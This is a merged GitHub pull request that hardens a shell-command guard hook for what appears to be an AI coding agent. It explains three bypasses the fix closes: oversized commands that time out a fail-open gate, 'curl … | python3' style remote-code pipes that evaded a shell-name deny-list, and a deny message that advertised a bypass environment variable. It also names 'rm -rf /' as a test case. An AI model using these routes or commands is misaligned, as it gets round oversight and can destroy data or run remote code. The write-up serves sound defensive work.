fix(hooks): bound scan cost, allow-list pipe sinks, drop bypass hint (S5) - #894
Merged
Conversation
…(S5) The gate fails open by design, so scan cost is a security property: a command large enough to blow the 3000ms harness budget gets killed and no deny is emitted, silently disabling every check by volume alone. Measured before this change: 600 KB took 27.8s (5.89s at audit time, worsened by the S2-S4 additions). Root cause was _command_token shlex-splitting the entire segment just to read its first word, and shlex is super-linear -- that one call was 5.7s of a 6s run. The executable is at the front by definition, so it now tokenizes only the head. 600 KB drops to 0.78s and cost becomes roughly linear. A 64 KB cap bounds the remainder. Above it the per-segment tokenizing walks are skipped and the skip is announced on stderr; the cheap whole-command patterns still run at any size, so an oversized command degrades to reduced enforcement rather than to none. Verified: an oversized `rm -rf /` and an oversized `curl | python3` both still deny. There is no ReDoS here -- the patterns measure flat. This was volume cost, not catastrophic backtracking. The pipe-to-shell pattern deny-listed shell NAMES, so `curl http://x | python3` executed remote code and passed, as did node, perl, ruby, and php. A deny-list of interpreters can never be complete, so safe sinks are now allow-listed: an unrecognized sink counts as executing. Quoted footgun text stays data -- quoted spans are blanked over the whole scan text before splitting into lines, because a quoted region can span newlines (heredoc body inside a -c payload). The sensitive-file deny message advertised SENSITIVE_FILE_GUARD_BYPASS=1, teaching the operator to disarm the guard as the first response to a block. The guard-integrity and sysadmin denies already withheld that hint deliberately; this one now matches and explains the rule instead. Adds 34 rows: pipe-sink allow/deny corpus including every previously blocking shell form, cap behavior at and above the boundary, a timing assertion that a 600 KB command finishes well inside the budget, proof that cheap patterns still fire when capped, and assertions that the deny message withholds the bypass env while still explaining the rule.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Track S security audit, finding S5. The gate fails open by design — a crash or a harness timeout means the tool runs unguarded. That makes scan cost a security property, not just a latency concern.
1. Volume cost disabled every check. A command large enough to blow the 3000ms harness budget gets the process killed, so no deny is emitted at all. Measured:
(The audit measured 5.89s at 600 KB; the S2–S4 additions made it worse, which is exactly why this needed fixing before more scanning was added.)
Root cause:
_command_tokenshlex-split the entire segment just to read its first word, and shlex is super-linear. Profiled at 600 KB, that single call was 5.7s of a ~6s run. The executable is at the front by definition, so it now tokenizes only the head. Cost becomes roughly linear.There is no ReDoS here. The patterns measure flat. This was volume cost, not catastrophic backtracking — chasing a backtracking bug would have found nothing.
2.
curl … | python3executed remote code and passed. The pipe-to-shell pattern deny-listed shell names, sopython3,python,node,perl,ruby, andphpall slipped through.3. The deny message taught the operator to disarm the guard. The sensitive-file block printed
To allow: set SENSITIVE_FILE_GUARD_BYPASS=1. The guard-integrity and sysadmin denies already withhold that hint deliberately; this one contradicted them.Fix
Head-only tokenization in
_command_token(4 KB), plus a 64 KB cap on per-segment scanning. Above the cap the tokenizing walks are skipped and the skip is announced on stderr rather than being silent; the cheap whole-command patterns still run at any size. So an oversized command degrades to reduced enforcement, never to none — verified: an oversizedrm -rf /and an oversizedcurl | python3both still deny.Allow-listed pipe sinks. Any
curl/wgetpiped into a command that is not a known-safe sink counts as executing remote code. A deny-list of interpreters can never be complete; the safe set is the small one (pagers, text tools,jq, checksum tools, decompressors). An unrecognized sink fails safe.Deny message now explains the rule (owner approval per CLAUDE.md) without naming the bypass env. The env is still honored.
Care taken not to over-block
Quoted footgun text stays data. Quoted spans are blanked over the whole scan text before splitting into lines, because a quoted region can span newlines — computing spans per line read the second line of a heredoc body inside a
-cpayload as unquoted code. The existing round-13 regression test caught this during development.Tests
34 new rows: the pipe-sink allow/deny corpus (every closed bypass, every previously-blocking shell form, safe sinks that must stay allowed, quoted/heredoc data that must stay allowed); cap behavior at and above the boundary; a timing assertion that a 600 KB command finishes well inside budget; proof the cheap patterns still fire when capped; and assertions that the deny message withholds the bypass env while still explaining the rule.
Gates
ruff checkclean,ruff format --checkclean (0.15.12),pytest hooks/tests/2238 passed,smoke-test-hooks --ci74/74 PASS,benchmark-hooks95.5ms (threshold 200ms).The fail-open error contract is unchanged — this PR reduces the window in which fail-open silently means "no enforcement", it does not convert the hook to fail-closed.